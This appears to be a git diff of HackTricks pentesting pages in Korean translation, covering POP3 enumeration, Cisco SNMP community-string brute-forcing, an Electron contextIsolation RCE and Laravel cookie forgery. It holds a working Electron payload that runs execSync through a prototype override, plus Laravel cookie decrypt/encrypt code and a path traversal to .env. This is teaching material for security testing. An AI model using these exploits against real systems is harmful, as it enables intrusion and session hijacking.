`pop3-ntlm-info` 플러그인은 일부 "**민감한**" 데이터(Windows 버전)를 반환합니다. `pop3-ntlm-info` 플러그인은 일부 "**민감한**" 데이터를 반환합니다 (Windows 버전).
### [POP3 브루트포스](../generic-methodologies-and-resources/brute-force.md#pop) ### [POP3 브루트포스](../generic-methodologies-and-resources/brute-force.md#pop)
## POP 구문 ## POP 구문
[여기](http://sunnyoasis.com/services/emailviatelnet.html)에서 POP 명령어 예제들을 확인할 수 있습니다. POP 명령어 예시는 [여기](http://sunnyoasis.com/services/emailviatelnet.html)에서 확인할 수 있습니다.
```bash ```bash
POP commands: POP commands:
USER uid Log in as "uid" USER uid Log in as "uid"
@ -64,7 +67,7 @@ QUIT Logout (expunges messages if no RSET)
TOP msg n Show first n lines of message number msg TOP msg n Show first n lines of message number msg
CAPA Get capabilities CAPA Get capabilities
``` ```
: 예:
``` ```
root@kali:~# telnet $ip 110 root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready +OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
@ -91,23 +94,23 @@ password: PA$$W0RD!Z
``` ```
## 위험한 설정 ## 위험한 설정
[https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)에서 가져옴 From [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
| **설정** | **설명** | | **설정** | **설명** |
| ------------------------- | ----------------------------------------------------------------------------------------- | | ------------------------- | --------------------------------------------------------------------------------------- |
| `auth_debug` | 모든 인증 디버그 로깅을 활성화합니다. | | `auth_debug` | 모든 인증 디버그 로깅을 활성화합니다. |
| `auth_debug_passwords` | 이 설정은 로그의 상세함을 조정하며, 제출된 암호 및 스키마가 로깅됩니다. | | `auth_debug_passwords` | 이 설정은 로그의 상세도를 조정하며, 제출된 비밀번호와 스킴이 기록됩니다. |
| `auth_verbose` | 인증 시도에 실패한 사례와 그 이유를 로깅합니다. | | `auth_verbose` | 실패한 인증 시도와 그 이유를 기록합니다. |
| `auth_verbose_passwords` | 인증에 사용된 암호가 로깅되며 일부는 생략될 수도 있습니다. | | `auth_verbose_passwords` | 인증에 사용된 비밀번호가 기록되며, 잘릴 수도 있습니다. |
| `auth_anonymous_username` | ANONYMOUS SASL 메커니즘을 사용하여 로그인할 때 사용할 사용자 이름을 지정합니다. | | `auth_anonymous_username` | ANONYMOUS SASL 메커니즘으로 로그인할 때 사용할 사용자 이름을 지정합니다. |
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
## HackTricks 자동 명령 ## HackTricks 자동 명령
``` ```
Protocol_Name: POP #Protocol Abbreviation if there is one. Protocol_Name: POP #Protocol Abbreviation if there is one.
Port_Number: 110 #Comma separated if there is more than one. Port_Number: 110 #Comma separated if there is more than one.
@ -150,13 +153,13 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
``` ```
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>제로에서 영웅까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고되길 원하시나요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요! * **사이버 보안 회사**에서 일하고 계신가요? **HackTricks에 귀사의 광고를 보고 싶으신가요**? 아니면 **최신 버전의 PEASS에 접근하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인하세요!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**PEASS 패밀리**](https://opensea.io/collection/the-peass-family)를 발견하세요, 우리의 독점 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요 * [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 받아보세요.
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하시거나 **트위터**에서 저를 팔로우하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **참여하세요** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass) 또는 **저를** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**에서 팔로우하세요.**
* **해킹 트릭을 공유하고 싶으시다면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 제출하세요**. * **해킹 트릭을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **와** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
</details> </details>

View file

@ -1,68 +1,74 @@
# Cisco SNMP # Cisco SNMP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고**되길 원하시나요? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 기교를 공유하고 싶다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**하세요.
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## Cisco 네트워크의 Pentesting ## Pentesting Cisco Networks
**SNMP**는 일반 메시지를 위한 161/UDP 포트와 트랩 메시지를 위한 162/UDP 포트를 통해 UDP로 작동합니다. 이 프로토콜은 SNMP 에이전트와 서버 간 통신을 가능하게 하는 비밀번호 역할을 하는 커뮤니티 문자열에 의존합니다. 이러한 문자열은 액세스 수준, 특히 **읽기 전용 (RO) 또는 읽기-쓰기 (RW) 권한**을 결정하는 데 중요합니다. 펜테스터들에게 주목할 만한 공격 벡터는 **커뮤니티 문자열을 무차별 대입**하여 네트워크 장치에 침투하는 것입니다. **SNMP**는 일반 메시지에 대해 161/UDP 포트, 트랩 메시지에 대해 162/UDP 포트를 사용하여 UDP를 통해 작동합니다. 이 프로토콜은 SNMP 에이전트와 서버 간 통신을 가능하게 하는 비밀번호 역할을 하는 커뮤니티 문자열에 의존합니다. 이러한 문자열은 접근 수준을 결정하므로 중요하며, 특히 **읽기 전용(RO) 또는 읽기-쓰기(RW) 권한**을 설정합니다. 펜테스터에게 주목할 만한 공격 벡터는 **커뮤니티 문자열의 무작위 대입 공격**으로, 네트워크 장치에 침투하는 것을 목표로 합니다.
이러한 무차별 대입 공격을 실행하기 위한 실용적인 도구는 [**onesixtyone**](https://github.com/trailofbits/onesixtyone)이며, 잠재적인 커뮤니티 문자열 목록과 대상의 IP 주소가 필요합니다. 이러한 무작위 대입 공격을 실행하기 위한 실용적인 도구는 [**onesixtyone**](https://github.com/trailofbits/onesixtyone)이며, 이는 잠재적인 커뮤니티 문자열 목록과 대상의 IP 주소가 필요합니다:
```bash ```bash
onesixtyone -c communitystrings -i targets onesixtyone -c communitystrings -i targets
``` ```
#### `cisco_config_tftp` #### `cisco_config_tftp`
메타스플로잇 프레임워크에는 `cisco_config_tftp` 모듈이 있으며, RW 커뮤니티 문자열을 획득한 경우 장치 구성을 추출하는 데 도움이 됩니다. 이 작업에 대한 필수 매개변수는 다음과 같습니다: Metasploit 프레임워크는 `cisco_config_tftp` 모듈을 제공하여 RW 커뮤니티 문자열을 확보한 경우 장치 구성을 추출할 수 있습니다. 이 작업에 필요한 필수 매개변수는 다음과 같습니다:
* RW 커뮤니티 문자열 (**COMMUNITY**) * RW 커뮤니티 문자열 (**COMMUNITY**)
* 공격자의 IP (**LHOST**) * 공격자의 IP (**LHOST**)
* 대상 장치의 IP (**RHOSTS**) * 대상 장치의 IP (**RHOSTS**)
* 구성 파일의 대상 경로 (**OUTPUTDIR**) * 구성 파일의 대상 경로 (**OUTPUTDIR**)
구성 후 이 모듈을 사용하면 장치 설정을 지정된 폴더로 직접 다운로드할 수 있습니다. 구성이 완료되면 이 모듈은 지정된 폴더로 장치 설정을 직접 다운로드할 수 있습니다.
#### `snmp_enum` #### `snmp_enum`
다른 메타스플로잇 모듈인 **`snmp_enum`**은 자세한 하드웨어 정보를 수집하는 데 특화되어 있습니다. 이는 어떤 유형의 커뮤니티 문자열이든 작동하며 성공적인 실행을 위해 대상 IP 주소가 필요합니다: 또 다른 Metasploit 모듈인 **`snmp_enum`**은 상세한 하드웨어 정보를 수집하는 데 특화되어 있습니다. 이 모듈은 두 가지 유형의 커뮤니티 문자열로 작동하며, 성공적인 실행을 위해 대상의 IP 주소가 필요합니다:
```bash ```bash
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10 msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
``` ```
## 참고 자료 ## References
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_). 당신이 **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 구사 필수_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary> <summary>HackTricks 지원하기</summary>
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요 * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하고 싶다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**하세요.
</details> </details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# Electron contextIsolation RCE via Electron internal code # Electron contextIsolation RCE via Electron internal code
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary> <summary>Support HackTricks</summary>
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 요령을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**하세요.
</details> </details>
{% endhint %}
## Example 1 ## Example 1
[https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)의 예 [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)의 예
"exit" 이벤트 리스너는 페이지 로딩이 시작될 때 항상 내부 코드에 의해 설정됩니다. 이 이벤트는 탐색 직전에 발생합니다: "exit" 이벤트 리스너는 페이지 로딩이 시작될 때 항상 내부 코드에 의해 설정됩니다. 이 이벤트는 탐색 직전에 발생합니다:
```javascript ```javascript
@ -39,11 +42,11 @@ https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin
![](<../../../.gitbook/assets/image (700).png>) ![](<../../../.gitbook/assets/image (700).png>)
프로세스 객체는 "require" 함수에 대한 참조가 있습니다: 프로세스 객체는 "require" 함수에 대한 참조지고 있습니다:
``` ```
process.mainModule.require process.mainModule.require
``` ```
다음은 handler.call이 process 객체를 받게 될 것이므로 임의의 코드를 실행하도록 덮어쓸 수 있습니다: handler.call이 process 객체를 받을 것이므로, 이를 덮어써서 임의의 코드를 실행할 수 있습니다:
```html ```html
<script> <script>
Function.prototype.call = function(process){ Function.prototype.call = function(process){
@ -52,26 +55,29 @@ process.mainModule.require('child_process').execSync('calc');
location.reload();//Trigger the "exit" event location.reload();//Trigger the "exit" event
</script> </script>
``` ```
## 예제 2 ## Example 2
**프로토타입 오염으로부터 require 객체 가져오기**. [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)에서 **프로토타입 오염에서 require 객체 가져오기**. From [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
Leak: 누출:
<figure><img src="../../../.gitbook/assets/image (279).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (279).png" alt=""><figcaption></figcaption></figure>
Exploit: 악용:
<figure><img src="../../../.gitbook/assets/image (89).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (89).png" alt=""><figcaption></figcaption></figure>
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary> <summary>Support HackTricks</summary>
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고**하고 싶으신가요? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**💬**](https://emojipedia.org/speech-balloon/) **Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**하세요.
</details> </details>
{% endhint %}

View file

@ -1,35 +1,38 @@
# 라라벨 # Laravel
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고**되길 원하시나요? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요**.
</details> </details>
{% endhint %}
## 라라벨 트릭 ## Laravel Tricks
### 디버깅 모드 ### 디버깅 모드
라라벨이 **디버깅 모드**에 있으면 **코드** 및 **민감한 데이터**에 액세스할 수 있습니다.\ Laravel이 **디버깅 모드**에 있으면 **코드**와 **민감한 데이터**에 접근할 수 있습니다.\
예를 들어 `http://127.0.0.1:8000/profiles`: 예를 들어 `http://127.0.0.1:8000/profiles`:
![](<../../.gitbook/assets/image (1046).png>) ![](<../../.gitbook/assets/image (1046).png>)
것은 일반적으로 다른 라라벨 RCE CVE를 악용하는 데 필요합니다. 는 다른 Laravel RCE CVE를 악용하는 데 일반적으로 필요합니다.
### .env ### .env
라라벨은 쿠키를 암호화하고 다른 자격 증명을 사용하는 APP을 `.env`라는 파일에 저장하며, 이 파일은 `/../.env` 아래의 경로 순회를 사용하여 액세스할 수 있습니다. Laravel은 쿠키와 기타 자격 증명을 암호화하는 데 사용하는 APP을 `.env`라는 파일에 저장하며, 이 파일은 다음 경로를 통해 접근할 수 있습니다: `/../.env`
라라벨은 또한 이 정보를 디버그 페이지(라라벨이 오류를 발견하고 활성화될 때 나타나는 페이지)에 표시합니다. Laravel은 또한 이 정보를 디버그 페이지(오류가 발생했을 때 나타나는 페이지) 내에 표시합니다.
라라벨의 비밀 APP\_KEY를 사용하여 쿠키를 복호화하고 다시 암호화할 수 있습니다: Laravel의 비밀 APP\_KEY를 사용하여 쿠키를 복호화하고 다시 암호화할 수 있습니다.
### 쿠키 복호화 ### 쿠키 복호화
```python ```python
@ -90,19 +93,34 @@ decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' #b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}') encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
``` ```
### Laravel 직렬화 RCE ### Laravel Deserialization RCE
취약한 버전: 5.5.40 및 5.6.x부터 5.6.29까지 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) 취약한 버전: 5.5.40 및 5.6.x ~ 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
직렬화 취약점에 대한 정보는 여기에서 찾을 수 있습니다: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) 여기에서 역직렬화 취약성에 대한 정보를 찾을 수 있습니다: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
